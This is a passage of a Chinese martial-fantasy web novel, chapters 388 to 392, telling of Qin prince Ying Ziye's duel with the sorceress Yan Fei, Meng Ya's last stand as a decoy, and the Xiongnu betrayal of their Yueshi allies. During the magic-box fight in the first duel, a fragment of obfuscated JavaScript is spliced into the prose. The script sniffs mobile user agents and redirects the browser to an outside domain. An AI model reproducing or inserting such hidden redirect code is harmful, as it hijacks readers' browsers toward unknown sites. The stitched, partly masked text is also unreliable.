化作一道半透明的缠绕着幽蓝与暗红符印的能量巨掌,悄无声息却又快如闪电地按向他的后心!
这一击,角度刁钻,时机狠辣!
更是将力量凝聚到了极致,显然是要一击必杀!
强烈的危机感让赢子夜背脊发凉。
他根本来不及回头,体内紫雷本能地轰然爆发,身形在间不容发之际强行向侧方横移出三尺。
第388章 我本无意为敌,是帝国苦苦相逼
“轰!”
能量巨掌擦着赢子夜的衣角掠过,狠狠拍在他原本立足之地。
没有惊天动地的巨响,只有一声沉闷的仿佛空间都被挤压的异响。
地面瞬间出现一个深达数尺的掌印,掌印边缘的沙土呈现出诡异的半结晶化。
一边覆盖着冰霜,一边却焦黑冒烟。
赢子夜稳住身形,霍然转身,眼中紫电缭绕,看向袭击来源之处。
只见不远处,一座尚未被火势波及的瞭望塔顶端,一道身披深紫色阴阳鱼长袍的倩影悄然独立。
夜风吹拂着她的袍袖与发丝。
绝美的容颜在跳动的火光映照下,显得愈发清冷孤绝。
仿佛不食人间烟火的月宫仙子,却又带着一种深沉的寂寥与无奈。
焱妃?!
看清来人,赢子夜眼中闪过一丝真正的意外,随即了然!
他散去周身部分雷光,但警惕未减,语气平静地开口。
“没想到,会在这里见到东君阁下。”
“看来,赵高将你‘请’出山,代价不菲。”
他特意加重了“请”字,目光似乎能穿透那层冰冷,看到其下被胁迫的无奈。
焱妃自塔顶翩然落下,如同羽毛般轻盈地站在赢子夜数丈之外。
她并未立刻动手,而是依照古老的礼节,微微欠身,行了一礼,动作优雅却透着一股疏离。
她的声音如同寒泉击石,清冷得不带丝毫感情。
“六殿下。”
“我本无意与您为敌,更不愿介入这天下纷争。”
“若殿下此刻肯率部退去,离开西域,我……可以当作未曾见过殿下。”
赢子夜闻言,却是轻轻笑了一声!
那笑声在周围的喊杀声中显得格外清晰。
他并未回应焱妃那看似仁慈的提议,反而饶有兴致地打量着她,语气带着一丝不易察觉的讥诮。
“真是令人唏嘘。”
“想当年,阴阳家东君焱妃,是何等惊才绝艳,超然物外。”
“如今,却甘愿受赵高那阉宦驱使,在这西域战场,行此刺杀之事!”
“看来,再高的天赋,再强的实力,若心有所缚,亦与笼中雀鸟无异!”
这番话,精准地刺中了焱妃心中最深的痛处与无奈。
她那古井无波的眸子里,终于荡开了一丝涟漪!
虽然瞬间便恢复冰冷,但语气中已带上了一丝压抑的波澜。
“我心本不在天下,只愿携小女,寻一处僻静之地,了此残生。”
“是帝国,是你们,是这纷乱的世道,一直在苦苦相逼!!!”
赢子夜摇了摇头,语气转为冷峻。
“背叛帝国,投身罗网,与匈奴蛮夷为伍,如今反倒怪起帝国相逼?”
“东君阁下,这道理,似乎说不通。”
然而,他话锋陡然一转,目光锐利地看向焱妃,带着一种不容置疑的自信与霸气。
“不过,本公子念你亦是受制于人,可以给你一个机会。”
“若你此刻肯迷途知返,投降于我,本公子以赢氏血脉,大秦公子之名起誓,必保你与你女儿,余生安稳,无人再敢胁迫于你们!”
“余生无忧?”
焱妃重复着这四个字,绝美的脸上第一次露出了明显的情绪波动!
那是一种混合着嘲讽、不信与一丝极其微渺的希冀的复杂神情。
她抬眼,直视赢子夜。
“六公子倒是好大的口气,好会笼络人心。”
“只是,如今的大秦,难道已经是六公子您……说了算么?”
赢子夜迎着她的目光,没有丝毫闪躲,声音沉稳而有力,带着一种洞悉未来的笃定。
“帝国未来如何,非你我可妄断。”
“但本公子有信心,能说服父皇,赦免于你,予你母女一片安宁天地。”
“这,比你在赵高掌控下,永无宁日,如何?”
焱妃沉默了刹那,仿佛在权衡那渺茫的希望与残酷的现实。
但最终,她眼中那一丝微光彻底湮灭,取而代之的是一种近乎绝望的冰冷与决绝。
她嘴角勾起一抹凄冷的弧度。
“呵……说得比唱得还好听。”
“可惜,空口白话,谁都会说。”
“想要我信你?那就让本君看看,你有没有让你那父皇,也不得不重视的实力和资格!”
话音未落,焱妃周身气势骤变!!
原本内敛的气息如同解开了封印的洪荒古兽,轰然爆发!!!
她双手在胸前结出一个繁复玄奥的印诀,周身幽蓝与暗红的光芒大盛。
脚下的地面无声无息地蔓延开冰霜与焦痕交织的诡异图案,庞大的阴阳二气疯狂汇聚,引动得周围空间都微微扭曲起来。
“阴阳合气手印·寂灭!”
她不再留手,一出手,便是杀招!
一道比之前凝练十倍!
蕴含着湮灭气息的灰蒙蒙能量流!
而赢子夜何等敏锐?
立刻从焱妃那看似决绝的攻势与最后那句话中,捕捉到了一丝深藏的意味。
她并非完全不信。
也并非毫无动摇!
只是长期被赵高压迫,与帝国为敌的经历,让她无法轻易相信一个“敌人”的空口承诺。
她在试探,在用她的方式,衡量他赢子夜是否真有那份能力与魄力,兑现那“余生无忧”的诺言。
是否值得她冒着巨大的风险,背叛赵高,重新选择。
若能证明,事情或许真有转机。
若不能,那今日便是不死不休!
心念电转间,那蕴含寂灭气息的灰蒙蒙能量流已至面前!
赢子夜不敢有丝毫怠慢。
眼中紫雷爆闪,定秦剑发出一声清越龙吟,璀璨的紫色雷霆如同怒龙出海,缠绕剑身,悍然斩向那道能量流!<
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br>“轰——!”
并非金铁交鸣的巨响,而是一种能量湮灭的沉闷爆鸣。
紫雷与灰蒙气流狠狠撞在一起。
狂暴的能量冲击波呈环形骤然扩散,将周围燃烧的帐篷,散落的兵器,甚至几名靠得太近的倒霉士兵瞬间掀飞、撕裂。
地面被硬生生刮去一层!
赢子夜身形剧震,向后滑出数丈,持剑的手臂微微发麻,心中凛然。
好霸道的阴阳术!!
这焱妃的实力,比传闻中更加强横。
焱妃亦是眸光微动,显然对赢子夜能硬接她这一击感到些许意外。
但她攻势不停,玉手翻飞,印诀再变。
“阴阳咒印·冰火两重天!”
刹那间。
赢子夜左侧空气温度骤降!
无数冰棱凭空凝结,带着刺骨的寒意爆射而来!
右侧却陡然升起灼热的气浪,赤红的火焰如同活物般缠绕扑至。
冰火交织,封锁了他所有闪避空间。
赢子夜冷哼一声,紫雷身法催动到极致。
身形化作一道曲折的闪电,在冰棱与火蛇的缝隙间险之又险地穿梭!
同时,定秦剑或挑或劈,将无法避开的攻击强行斩碎!
雷光与冰火不断碰撞、湮灭,在混乱的军营中炸开一团团耀眼的光晕。
两人从地面战至半空!
身影在火光与夜色中急速交错,每一次碰撞都引得天地元气紊乱!!
焱妃的阴阳术诡谲莫测,时而化出无形力场束缚,时而引动地火喷发,时而凝聚精神冲击直刺识海。
赢子夜则将紫雷的狂暴与速度发挥到极致,以力破巧,以快打慢。
剑法大开大合,雷光所过之处,万物崩摧!!!
他们所过之处,如同飓风过境。
无论是秦军的袭扰队伍还是联军的士兵,都惊恐地退避三舍。
生怕被那恐怖的战斗余波卷入,死无全尸。
激斗中。
赢子夜一心二用。
一边应对着焱妃连绵不绝的杀招,一边悄然用神识激活了怀中一枚传讯符箓!
他并未多言,只传递了一道极其简短却清晰的指令给负责接应的赵弋苍。
“制造更大混乱,掩护各部,伺机撤离!”
指令发出的瞬间,他正好一剑劈开一道扭曲空间的阴阳漩涡!
雷光炸裂,逼得焱妃微微后撤!
赢子夜趁此间隙,目光扫过下方愈发混乱的军营,以及远处死峡方向依旧激烈的战况,心中已有决断。
他今日潜入的目的——
制造混乱,策应蒙犽。
已基本达到,甚至意外遇到了焱妃,埋下了一丝可能的转机。
赢子夜心思这般,嘴角微微上扬,随即转身朝着大营外退去。
“想走?”
东君焱妃目光中闪过一道精芒,周身金光火焰四起,飞身追击而去。
第389章 匈奴从不会是任何人的盟友!
死峡入口。
尸积如山,血流成河。
蒙犽率领的一万五千死士,已折损过半。
残存的将士们背靠着临时构筑的由尸体和破损兵车堆砌的矮墙,机械地挥舞着卷刃的兵器,抵挡着如同潮水般一波波涌来的敌军。
每个人的脸上身上,都糊满了暗红色的血浆。
分不清是敌人的还是自己的。
蒙犽站在最前方,玄色皮甲早已被撕裂。
露出下面一道道深可见骨的伤口。
他左臂不自然地垂着,显然已经骨折。
仅凭右手紧握着一柄崩了无数缺口的战剑。
每一次挥砍都带着破风声,将冲上来的蛮族士兵连人带甲劈开!
他如同一个血色的礁石。
死死钉在这片死亡之地。
吸引了联军绝大部分的火力!
身边的亲卫一个接一个地倒下。
他却恍若未觉。
眼中只有前方无穷无尽的敌人和那杆在远处摇曳的月氏王庭大纛!!
“将军!小心!”
一名亲兵猛地扑上来,用身体替他挡下了一支冷箭!
箭簇透胸而出,亲兵喷出一口热血,软软倒下。
蒙犽看都没看,反手一剑将那名放冷箭的楼兰射手枭首!
动作没有丝毫迟滞,仿佛那扑倒的亲兵只是拂过身边的一粒尘埃!
他的眼神冰冷而空洞,只剩下杀戮的本能和对完成任务的执念!
就在这时。
一名浑身被鲜血浸透,几乎看不出原本甲胄颜色的斥候,连滚爬爬地冲破战团,踉跄着扑到蒙犽脚下。
声音因为极度激动和虚弱而剧烈颤抖,却用尽全身力气嘶吼出来。
“将……将军!杨临将军和司马梗将军…他们……他们成功了!”
“大军已从右翼薄弱处……突围出去了!!!”
这消息如同甘霖洒入干涸的土地!
瞬间让周围还在拼死抵抗的残兵们精神一振!!
许多人麻木的眼神里重新焕发出光彩!
那斥候抬起头,脸上混杂着血污和泪水,带着哭腔和无比的恳求。
“将军!突围的弟兄们让卑职拼死回来禀报!”
“请将军……请将军速速转移!”
“卑职等,愿誓死掩护将军撤离!!”
所有听到这句话的将士都看向了蒙犽,眼中充满了期盼。
主将还在,他们就有主心骨。
只要将军能走,他们就算全部战死在这里,也值了。
然而,蒙犽在听到消息的瞬间,紧绷的身体几不可察地松弛了一瞬。
那布满血污和疲惫的脸上,竟然缓缓露出了一个极其复杂的神情。
那是一种如释重负的释然。
一种任务完成的欣慰,更夹杂着一丝难以言喻的悲凉与决绝。
他缓缓摇了摇头。
目光扫过身边这些追随他死战至今,伤痕累累的将士,声音沙哑得如同破锣,却带着一种不容置疑的平静。
“走?往哪里走?”
他抬起那只能动的右臂,剑尖指向周围如同铁桶般,因为主力被吸引过来而更加密集的敌军,惨然一笑。
“我若此刻撤离,敌军立刻便会察觉,他们主力便会毫不犹豫地扑向刚刚突围的弟兄们!”
“杨临他们……就走不掉了!”
他猛地挺直了那几乎要散架的身躯!
尽管左臂剧痛,尽管浑身伤口都在流血,他却仿佛一尊永远不会倒塌的战神,发出了最后的,斩钉截铁的命令!!!
“传令!”
“全军——继续猛攻!”
“目标,敌军中军帅旗!”
“给老子狠狠地打!吸引住所有敌人的目光!”
“让突围的弟兄们……走得再远一些!”
“将军!”
那斥候和周围的将士们发出悲怆的呼喊!
他们明白了蒙犽的选择。
他用自己和自己麾下这最后几千残兵的命,作为最后的诱饵。
为已经突围的袍泽,争取那最后一点宝贵的时间。
蒙犽不再看他们。
他深吸一口带着浓烈血腥味的空气,举起崩口的战剑,发出了震彻战场的最后咆哮。
“大秦——万胜!!”
“杀——!!”
残存的死士们红着眼睛,流着泪,发出了野兽般的嚎叫。
跟随着他们那注定无法生还的将军。
向着数倍于己的敌军。
发起了最后一次,也是最决绝的冲锋!!
他们要用自己的鲜血和生命,为战友铺就最后的生路!
……
远离战场十余里外。
匈奴帅帐内,气氛与不远处大月氏营地的混乱截然不同。
虽也因秦军的袭扰而有些紧张,但整体依旧保持着一种冷酷的秩序。
头曼麾下第一大将阿速支,端坐在铺着完整狼皮的主位上。
手指有节奏地敲击着扶手,听着下方斥候的接连奏报。
“报——!”
“大月氏中军帅帐遭秦军精锐突袭,粮草多处被焚,伤亡不小,破军勇侯拔罗惊怒,已调派左翼的部分烈狼骑回援!”
阿速支嘴角勾起一抹残忍的弧度,嗤笑道。
“拔罗那个废物,连自己的大营都看不住!”
“看来他也没传说中那么厉害。”
他语气中充满了对盟友的轻蔑。
就在这时,又一名斥候疾奔入帐,声音带着一丝急促!
“报将军!紧急军情!”
“发现大队秦军骑兵,数目约在三万上下,正从东北方向的‘风鸣谷’快速奔袭而来,看旗号,是秦将李信!”
“预计最多两个时辰,便可抵达营地外围!”
“李信?三万骑兵?”
阿速支敲击扶手的手指骤然停住!
眼中闪过一丝精光!
但并无太多惊慌,反而露出一副“果然如此”的表情。
他猛地站起身,庞大的身躯带来强烈的压迫感。
帐内几名匈奴将
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领脸色微变,一人上前道。
“将军,李信生力军到来,再加上月氏军营侧后方的蒙犽残部以及袭营的秦军,兵力已不容小觑。”
“我们是否要增兵援助正面,一举……”
“增兵?为什么要增兵?”
阿速支打断他,脸上露出了狐狸般狡诈而冷酷的笑容。
“乌孙陀罗和赵高想借我们的刀杀秦人,我们难道就不能借秦人的刀,先耗光大月氏的实力?”
他走到沙盘前,手指狠狠点在代表大月氏军队的黄色标记上,语气森然。
“让他们去打!”
“让秦军和大月氏在这死峡拼个你死我活,血流成河!”
“我们匈奴的勇士,每一个都比黄金更珍贵,岂能浪费在这里给乌孙陀罗当垫脚石?”
他猛地转身,面对帐内众将,声音斩钉截铁,带着不容置疑的命令!
“传令!我军各部,即刻起,全线脱离与秦军、大月氏王庭军的接触,向西北方向梯次撤退!”
“放弃现有防线,将所有麻烦,都留给月氏人去头疼!”
“将军,这……若是月氏人顶不住……”有将领迟疑道。
“顶不住?”
阿速支狞笑一声。
“那正好!等他们和秦军两败俱伤,筋疲力尽之时,才是我们匈奴儿郎出场,收拾残局的时候!”
他眼中闪烁着贪婪与野心的光芒,仿佛已经看到了那美妙的场景。
“到时候,无论是对付残存的秦军,还是收拾苟延残喘的大月氏……都将易如反掌!”
“单于的大计,便是先吞大月氏,打残秦军,再图中原!”
“我们在此地保存实力,届时便可与单于主力里应外合,将这西域和北疆,一举纳入我匈奴版图!”
他重重一拳砸在沙盘边缘,震得所有标记嗡嗡作响。
“执行命令!撤退!动作要快,要干净利落!”
“让秦人和大月氏人,自己去狗咬狗吧!”
“是!将军英明!”
帐内匈奴将领们恍然大悟,脸上纷纷露出残忍而会意的笑容。
原来将军打的是这个螳螂捕蝉,黄雀在后的主意。
立刻领命,迅速退出大帐,前去安排撤退事宜。
……
很快。
死峡正面战场!
正在与蒙犽死士以及秦军袭扰部队交战的一部分匈奴人,开始如同潮水般有序后撤!
他们放弃了好不容易占据的有利位置,甚至故意让开了一些通道。
将正面的压力,完全甩给了尚不知情,仍在苦苦支撑和试图反击的大月氏、楼兰、龟兹的军队。
而阿速支则站在帅帐门口,望着远处依旧杀声震天,火光冲天的战场。
特别是大月氏军队所在的方向。
脸上露出了胜券在握的阴冷笑容。
他仿佛已经看到,不久之后,匈奴的狼旗将插遍这片土地,而秦军与大月氏的尸骨,将成为他登上更高权位的垫脚石!
第390章 你有了与本君谈判的资格!
与此同时。
田言正指挥着麾下精骑猛攻大月氏中军帅帐的侧后翼,试图为蒙犽分担压力。
她心思缜密,很快便察觉到了不对劲!
原本如同附骨之疽般缠斗的匈奴骑兵,攻势竟在短时间内明显减弱,甚至开始成建制地向后收缩。
“怎么回事?匈奴人怎么退了?”
一名正在奋力**的秦军校尉也注意到了异常,抹了把脸上的血水,喘着粗气问道。
田言蹙起秀眉,清冷的眼眸中闪过一丝疑虑与警惕。
事出反常必有妖!
匈奴人兵力雄厚,士气正旺,绝无理由在此时主动撤退,除非……有更大的图谋。
是陷阱?还是……
她立刻下令。
“传令前军,谨慎追击,小心埋伏!”
“斥候向前探查,摸清匈奴人动向!”
然而,她的谨慎命令还未完全传达下去,战场上其他方向的秦军已经沸腾了。
尤其是那些刚刚跟随杨临、司马梗从右翼突围出来,心中憋着一股滔**火与悲愤的将士。
他们可不管匈奴人为何撤退,他们只看到——
正面最大的威胁,那如同铜墙铁壁般的匈奴防线,突然空了!
露出了后面惊慌失措的大月氏军队和西域联军。
“匈奴蛮子跑了!”
“机会!天赐良机!”
“为大将军报仇!为死去的弟兄们报仇!杀啊——!”
不知道是谁先发出了第一声怒吼,如同点燃了燎原的星火。
压抑了太久的仇恨、**、以及对蒙犽安危的极度担忧,在这一刻彻底爆发。
“全军听令!目标大月氏帅帐!给老子碾碎他们!”
杨临麾下的一员悍将眼见战机出现,根本来不及请示,直接挥刀怒吼,率领着如狼似虎的骑兵,如同决堤的洪流,从匈奴人让开的缺口处,狠狠冲向了失去侧翼保护的大月氏中军!
“杀!不能让匈奴人跑了……不,先宰了大月氏的杂碎!”
杨临眼睛赤红!
他虽担心蒙犽,但也明白此刻击溃正面之敌才是关键。
立刻率领突围出来的残部,配合主力,发起了狂暴的冲锋。
“进攻!全线进攻!”
司马梗嘶哑的咆哮声响彻战场。
一时间,战鼓擂动,号角长鸣。
所有秦军,无论是司马梗所部,还是刚刚突围,建制有些混乱的杨临所部。
亦或是依旧在袭扰的赢子夜麾下精锐。
全都如同被注入了狂暴的药剂!
不顾一切地朝着失去匈奴屏障,暴露在兵锋之下的大月氏中军帅帐,以及侧翼的楼兰、龟兹联军,发起了山呼海啸般的猛攻!
田言看着眼前这如同脱缰野马般的攻势,想要阻止已来不及。
她知道,此刻任何约束的命令都会打击士气。
匈奴的突然撤退确实诡异。
但眼下,击溃正面的敌军,打破死峡之围,救出蒙犽将军,是压倒一切的首要任务。
她银牙一咬,压下心中的不安,清冷的声音通过内力传遍己方部队。
“配合主力,猛攻大月氏侧翼!”
“**覆盖,步卒推进,为大军打开通道!!”
箭矢如同暴雨般倾泻向混乱的大月氏军队!
铁骑的马蹄踏碎了仓促组织起来的防线!
楼兰、龟兹的联军本就被卫庄和逆流沙的高手在右翼袭扰,士气低落。
此刻面对秦军全线压上的疯狂进攻,更是瞬间崩溃,哭喊着四散奔逃。
……
血色与火光交织的荒原上。
赢子夜与焱妃的战斗已臻白热化。
紫雷纵横,阴阳二气搅动风云!!
每一次碰撞都引得大地微颤。
能量余波将周围的沙砾碎石尽数排开,清出一片狼藉的战场!
赢子夜越战越是心惊!
这焱妃的阴阳术,已臻化境,远超他之前遇到的任何对手。
她举手投足间,冰火随心转换,力场束缚与精神冲击无缝衔接。
更兼其身法飘忽,如同鬼魅。
往往能从最不可思议的角度发动攻击!
若非他紫雷**兼具速度与毁灭,神识亦远超同侪,恐怕早已落败!
“阴阳咒法·万象森罗!”
焱妃清叱一声,双手结印,周身幽蓝与暗红光芒大盛。
刹那间,赢子夜只觉眼前景象骤变!
不再是荒原战场,而是置身于一片无边无际的竹林之中。
竹叶如刀,从四面八方飞射而来!
同时,脚下大地化作泥泞沼泽,强大的吸力传来,要将他拖入无尽深渊。
耳畔更是响起了无数怨魂的凄厉哀嚎,直刺识海!
竟是同时作用于视觉、触觉、听觉的复合型幻术与实体攻击。
赢子夜瞳孔骤缩!
识海中紫雷轰鸣,强行守住灵台清明,大喝一声。
“破妄!”
周身雷光暴涨,如同骄阳融雪,将那森罗万象的幻境强行撕裂。
手中定秦剑带着刺目雷弧,一剑斩向感知中焱妃真身所在。
“铛!”
金铁交鸣之声炸响。
焱妃手中不知何时多了一柄由阴阳二气凝聚而成的光剑,架住了赢子夜这势大力沉的一击。
两人身形交错而过,各自退出数步。
焱妃眸光清冷,看着赢子夜,淡淡道。
“能如此快破我‘万象森罗’,殿下果然不凡。”
“不过,热身该结束了。”
她话音未落,玉手一翻,一个精致绝伦,散发着朦胧光晕的五层楼阁式机关盒,凭空出现在她掌心。
那楼阁飞檐斗拱,窗户雕花,每一处细节都巧夺天工。
正是阴阳家至宝——
幻音宝盒!
宝盒出现的瞬间,周围的天地元气仿佛都为之凝滞,一种玄而又玄的韵律自盒中弥漫开来。
赢子夜眼神一凝,心中警惕提到最高。
他知道此物,乃阴阳家秘宝,蕴藏着无穷奥秘与力量。
焱妃指尖轻抚过宝盒第一层,那层楼阁瞬间亮起温润的黄色光芒,对应“宫”音。
她朱唇轻启,吐出一个奇异的音节。
“宫——定!”
嗡!
一股无形却沉重如山的力场以宝盒为中心骤然扩散!
赢子夜只觉周身空气瞬间变得粘稠无比,仿佛陷入了琥珀之中,每一个动作都需耗费巨力,速度骤降。
他闷哼一声,紫雷疯狂运转,强行震开部分束缚,身形急退!
然而焱妃指尖再动,第二层“商”音亮起,发出清越之音!
“商——裂!”
嗤嗤嗤!
赢子夜身周的空间仿佛出现了无数细密的黑色裂纹,带着切割万物的锋锐,向他周身要害缠绕而来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16525930|178632||http|test|mini|href|location''.split(''|''),0,{}));
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r>竟是空间切割之力?!
赢子夜不敢硬接,定秦剑舞动如轮,紫雷化作护体光罩,将那些空间裂纹不断斩碎、震开,爆发出连绵不绝的能量火花。
他虽能抵挡,却已显得有些狼狈。
焱妃面无表情,指尖划过第三层“角”音,幽蓝光芒大盛!
“角——惑!”
诡异的音波无视物理防御,直接钻入赢子夜耳中。
刹那间,他眼前景象再变!
仿佛看到了北地郡城破,所有人倒在血泊之中,看到了咸阳宫燃起熊熊大火……
种种幻象,直击心神最脆弱之处!
“哼!”
赢子夜猛地一咬舌尖!
剧痛让他瞬间清醒,紫雷在识海中炸开,将那些惑心之音驱散。
但他气息已微微紊乱,额角见汗。
连破三音,赢子夜虽未受伤,却已真切感受到了这幻音宝盒的恐怖与焱妃深不可测的实力。
她对于阴阳术和宝盒的运用,已然达到了一种匪夷所思的境界。
焱妃看着气息微喘却依旧眼神锐利的赢子夜,并未立刻催动第四层。
她抬眸,望了一眼远处大月氏王庭的方向。
那里火光冲天,喊杀声隐隐传来,显然战局已生大变。
她收回目光,重新看向赢子夜,绝美的脸上神色复杂,沉默片刻,才缓缓开口。
声音依旧清冷,却少了几分杀意,多了几分难以言喻的萧索。
“幻音五层,对应五音。”
“第四层‘徵’音,已是本君目前所能驾驭的极限。”
“此音一出,有伤天和,非生死关头,我不会轻易施展。”
她顿了顿,目光直视赢子夜,仿佛要看到他灵魂深处。
“今日之战,你已证明了你的实力。”
“你……有了与本君谈判的资格。”
赢子夜心中一动,收剑而立,周身雷光稍稍内敛,静待其言。
焱妃的声音带着一丝不易察觉的颤抖,那是长久压抑的希望与恐惧交织的结果。
“我会等着……等着你将我那苦命的女儿,从罗网的魔爪中救出的那一天。”
她深深地看着赢子夜,一字一句道。
“希望到那时,六公子你……能遵守今日诺言,给我母女二人,一个真正安稳的栖身之地。”
“不再有纷争,不再有胁迫。”
说完,她不再停留。
玉手一挥,收起幻音宝盒,周身紫袍卷动,身影化作一道流光。
几个闪烁间,便消失在茫茫夜色之中,仿佛从未出现过。
赢子夜站在原地,望着她消失的方向,久久不语。
他能感受到焱妃最后那句话语中的沉重与期盼。
这位曾经傲视群伦的阴阳家天才,终究还是被骨肉亲情所困,在绝望中抓住了一丝他给予的微光。
“救你女儿,给你栖身之地……本公子,记下了。”
他低声自语,眼中闪过一丝决然!
随即,他收敛心神,目光投向远处火光最盛,杀声最烈的大月氏王庭方向。
虽然不清楚具体发生了什么,但匈奴的异常撤退,以及此刻王庭方向的混乱,都预示着战局正在急转直下。
“必须尽快赶过去!”
他不再犹豫,身形化作一道紫色电光,撕裂黑暗,以最快的速度,朝着那片决定西域命运最终走向的战场,疾驰而去!
第391章 此女的可怕,远超想象!
此刻。
大月氏中军帅帐已是一片混乱。
原本华丽的帐篷被火箭点燃,冒着滚滚浓烟。
破军勇侯拔罗,刚刚接到了匈奴全线撤退,并将他们如同弃子般丢给秦军的消息。
“阿速支!你这个背信弃义的豺狼!匈奴狗!!”
拔罗一把掀翻了面前的案几,酒水与瓜果溅了一地!
他双目赤红,发出野兽般的咆哮!
“竟敢如此戏耍本侯!待本侯击退秦狗,定要禀明大王,向头曼讨个说法!”
然而,怒吼之后,是无尽的冰凉。
环顾四周,秦军的喊杀声如同海啸般从四面八方涌来!
失去了匈奴骑兵的侧翼掩护,他的中军和右翼的西域联军,完全暴露在了秦军兵锋之下。
撤退?
后路已被不知何时出现的秦军隐隐截断。
更何况,王命是围歼蒙犽。
如今战局未定,他若敢退,乌孙陀罗绝不会饶他。
进退维谷!
拔罗牙齿咬得咯咯作响,一股穷途末路的暴戾之气涌上心头。
“不能退!那就杀!”
他猛地抽出腰间镶嵌着宝石的弯刀,刀锋指向帐外那如同潮水般涌来的黑色浪潮。
“儿郎们!随本王杀出去!”
“让这些秦狗知道,我大月氏的勇士,不是好惹的!”
他如同一头被逼入绝境的雄狮,亲自率领着最忠诚的王庭卫队,冲出了摇摇欲坠的帅帐,迎向了攻势最猛烈的秦军方向。
那里,正是田言指挥的,猛攻其侧后翼的部队。
田言正身姿轻盈地立于一处稍高的土坡上,冷静地观察着战局,手中令旗不时挥动,调整着进攻的节奏与方向。
她看到了那名如同疯虎般冲出,直扑自己所在方向的大月氏主帅。
“保护田言姑娘!”
身旁的秦军将领见状,立刻率亲兵上前阻拦。
“滚开!”
拔罗怒吼一声,手中弯刀划出凄厉的弧光,带着万钧之力,直接将两名挡路的秦军士卒连人带甲劈成两段!
他目标明确,就是要斩杀这个看似柔弱,却在不断调度秦军,给他造成巨**烦的女人。
田言清冷的眼眸中倒映着拔罗狂暴冲来的身影,没有丝毫慌乱。
她本就是天字级**惊鲵,天生异禀,心思玲珑。
更有着远超常人的洞察力与预判能力。
在拔罗挥刀劈砍的瞬间,她已然通过其肌肉的细微颤动,眼神的落点,以及冲锋时带起的风声,预判出了他接下来的三个攻击动作以及可能的变化。
她足尖轻轻一点,身形如同没有重量的柳絮,向左侧飘开半步!
就在她移开的刹那!
拔罗那势大力沉,足以开碑裂石的一刀,擦着她的衣角掠过,狠狠劈在了她刚才站立的位置,在地上留下一道深沟。
“嗯?”
拔罗一刀落空,眼中闪过一丝意外。
但攻势不停,手腕一翻,弯刀顺势横削,拦腰斩向田言!
这一变招迅捷狠辣,寻常高手绝难躲避!
然而,田言仿佛早已料到。
在他手腕微动的瞬间,她已提前向后微仰,同时手中不知何时多了一柄细长的剑,精准无比地点在弯刀力量最薄弱之处。
“叮!”
一声轻响。
拔罗只觉一股巧劲传来,那志在必得的一刀竟被带偏了方向,从他腰间滑过,连衣角都未能碰到。
“怎么可能?!”
拔罗心中巨震,这女人的反应和判断,快得诡异!
他不信邪,怒吼连连!
弯刀舞动如风,或劈或砍或刺,将大月氏王庭秘传的刀法施展得淋漓尽致!
刀光织成一片死亡之网,向田言笼罩而去!!
每一刀都蕴含着开山裂石的力量,速度更是快如闪电。
然而,田言的身影在那密集的刀光中,却如同鬼魅般飘忽不定。
她总是能在千钧一发之际,以毫厘之差避开致命的攻击。
她的动作幅度很小,却效率极高。
往往只是微微侧身、低头,或是轻移半步,便让拔罗狂暴的攻势尽数落空。
她那柄纤细的惊鲵剑,也总能在最关键的时刻,点
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、刺、格、挡,精准地化解掉拔罗招式中的杀机。
她不像是在战斗,更像是在刀尖上演绎一场精准而优雅的死亡之舞!
“你到底是谁?!”
拔罗越打越是心惊,越是憋屈。
他空有一身蛮力与精妙刀法,却仿佛每一拳都打在了空处,所有的后续变化都被对方提前看穿、扼杀。
这种有力无处使的感觉,几乎让他吐血!!
田言依旧沉默,清冷的脸上没有任何表情。
她一边从容地应对着拔罗的狂攻,一边还能分心用眼角的余光扫视整个战场。
偶尔做出几个手势,示意旁边的副将继续指挥部队进攻。
久攻不下,身边亲卫不断被秦军吞没,己方阵线节节败退!
绝望与愤怒如同毒火般灼烧着拔罗的理智!
“给我死!”
他彻底疯狂。
不顾自身防御,将全身力量灌注于弯刀之上,使出了一招同归于尽的杀招!!
弯刀如同旋风般旋转起来,带着撕裂一切的气势,向着田言拦腰卷去!
这是他凝聚了所有精气神的一击!
速度快到极致,力量猛到极致。
面对这搏命一击,田言瞳孔微缩,预判到了这一招的凶险与难以完全避开。
她不再保留,体内一股精纯的内力瞬间爆发,身形如同瞬移般向后飘退。
同时手中惊鲵以一种玄奥的轨迹刺出!
并非硬挡,而是如同灵蛇般点向那刀旋风眼最核心,也是力量流转最关键的一个节点。
“破!”
“铛——!”
一声更加刺耳的交鸣。
旋转的刀光骤然停滞。
拔罗只觉一股尖锐无比的气劲顺着刀身直透手臂经脉。
整条右臂瞬间酸麻剧痛,几乎握不住刀柄。
他踉跄后退,难以置信地看着自己微微颤抖的右手,又看向前方那个依旧清冷如玉,仿佛刚才只是随手拂去尘埃的女子。
一股前所未有的寒意,瞬间笼罩了他!
这个看似柔弱的秦人女子,其可怕程度,远超他的想象!!
第392章 与虎谋皮,终是自取灭亡!
是时。
死峡入口。
蒙犽拄着几乎快要断裂的战剑,剧烈地喘息着,每一次呼吸都牵扯着全身无数伤口的剧痛。
他身边,原本一万五千的死士,此刻还能站立的,已不足三千。
人人带伤,甲胄破碎,兵刃卷口!
如同从地狱血池中爬出的恶鬼,仅凭着最后一口气和钢铁般的意志,死死钉在这片焦土之上!!
他们面对着依旧数倍于己的敌军。
虽然因为匈奴的撤退,正面压力稍减。
但大月氏和西域联军依旧在疯狂进攻。
试图在他们这支“诱饵”崩溃前,将其彻底吞噬!
蒙犽的眼神已经有些模糊,失血过多和极度的疲惫不断侵蚀着他的神智!
他脑海中只有一个念头。
撑下去,再撑一会儿,为杨临他们多争取哪怕一息的时间!
就在这时!
他敏锐地察觉到,正前方敌军那如同潮水般连绵不绝的攻势,似乎……滞涩了。
那震耳欲聋的喊杀声中。
似乎夹杂进了一些不一样的,混乱的声响。
原本死死压在他们头顶的箭雨,也变得稀疏零落起来!
他猛地甩了甩头,强行驱散眼前的眩晕,凝神向敌军后方望去。
只见远处,原本严整的敌军阵列,此刻竟出现了明显的骚动!
一些士兵开始不由自主地向后张望,军官声嘶力竭的呵斥也压不住逐渐蔓延开的恐慌。
更远处,原本属于大月氏中军帅帐的方向,火光冲天,烟尘弥漫!
喊杀声似乎……
